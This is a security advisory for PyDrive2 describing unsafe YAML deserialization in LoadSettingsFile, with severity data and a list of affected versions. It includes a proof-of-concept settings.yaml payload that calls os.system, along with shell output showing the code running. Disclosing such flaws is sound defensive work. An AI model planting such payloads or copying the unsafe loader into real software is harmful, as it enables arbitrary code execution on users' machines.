GHSA-v5f6-hjmf-9mc5

Suggest an improvement
Source
https://github.com/advisories/GHSA-v5f6-hjmf-9mc5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-v5f6-hjmf-9mc5/GHSA-v5f6-hjmf-9mc5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-v5f6-hjmf-9mc5
Aliases
Published
2023-12-05T23:43:07Z
Modified
2024-11-22T20:44:16.710289Z
Severity
  • 3.3 (Low) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N CVSS Calculator
Summary
PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
Details

Summary

Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.

Details

The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5

This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121

CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.

https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9

Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

PoC

  1. Create a malicious settings.yaml file:
    !!python/object/new:os.system [echo poc]
    
  2. Initialize a GoogleAuth object .
    from pydrive2.auth import GoogleAuth
    
    gauth = GoogleAuth()
    
  3. Execute the code with the settings file present in your directory. The code inside the file will be executed:
    [evan@ejedev PyDrive2]$ ls
    CHANGES  client_secrets.json  CONTRIBUTING.rst  docs  examples  LICENSE  main.py  MANIFEST.in  pydrive2  pyproject.toml  pytest.ini  README.rst  settings.yaml  setup.py  tox.ini
    [evan@ejedev PyDrive2]$ cat settings.yaml
    !!python/object/new:os.system [echo poc]
    [evan@ejedev PyDrive2]$ cat main.py 
    from pydrive2.auth import GoogleAuth
    
    
    gauth = GoogleAuth()
    [evan@ejedev PyDrive2]$ python3 main.py 
    poc
    
    Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile

Impact

This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.

Database specific
{
    "nvd_published_at": "2023-12-05T21:15:07Z",
    "cwe_ids": [
        "CWE-502"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-05T23:43:07Z"
}
References

Affected packages

PyPI / pydrive2

Package

Affected ranges

Affected versions

1.*

1.17.0

PyPI / pydrive2

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.16.2

Affected versions

0.*

0.14.0

1.*

1.4.0
1.4.1
1.4.2
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.4.9
1.4.10
1.4.11
1.4.12
1.4.13
1.4.14
1.6.0
1.6.1
1.6.2
1.6.3
1.7.0
1.7.2
1.7.3
1.8.0
1.8.1
1.8.2
1.8.3
1.9.0
1.9.1
1.9.2
1.9.3
1.9.4
1.10.0
1.10.1
1.10.2
1.11.0
1.11.1
1.11.2
1.12.0
1.12.1
1.13.0
1.14.0
1.15.0
1.15.1
1.15.2
1.15.3
1.15.4
1.16.0
1.16.1